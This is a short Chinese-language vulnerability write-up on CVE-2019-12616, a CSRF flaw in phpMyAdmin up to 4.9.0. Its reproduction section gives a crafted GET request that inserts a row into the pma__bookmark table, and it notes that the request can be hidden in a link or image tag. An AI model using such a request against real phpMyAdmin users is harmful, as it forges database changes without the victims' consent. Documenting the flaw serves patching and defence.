    （CVE-2019-12616）Phpmyadmin CSRF
=================================

一、漏洞简介
------------

4.9.0之前在phpmyadmin中发现了一个问题。发现一个漏洞，允许攻击者对phpMyAdmin用户触发CSRF攻击。攻击者可以欺骗用户。

    例如通过指向受害者的phpMyAdmin数据库的一个损坏的<img>标记，并且攻击者可以潜在地将有效负载（例如特定的插入或删除语句）传递给受害者。

二、漏洞影响
------------

Phpmyadmin \<= 4.9.0

三、复现过程
------------

    GET http://www.0-sec.org:9000/tbl_sql.php?sql_query=INSERT+INTO+%60pma__bookmark%60+(%60id%60%2C+%60dbase%60%2C+%60user%60%2C+%60label%60%2C+%60query%60)+VALUES+(DAYOFWEEK(%27%27)%2C+%27%27%2C+%27%27%2C+%27%27%2C+%27%27)&show_query=1&db=phpmyadmin&table=pma__bookmark HTTP/1.1

    Upgrade-Insecure-Requests: 1
    Host: localhost:9000

攻击者可以很容易地创建一个假超链接，其中包含希望代表用户执行的请求，这样就可能由于错误地使用http方法而导致csrf攻击
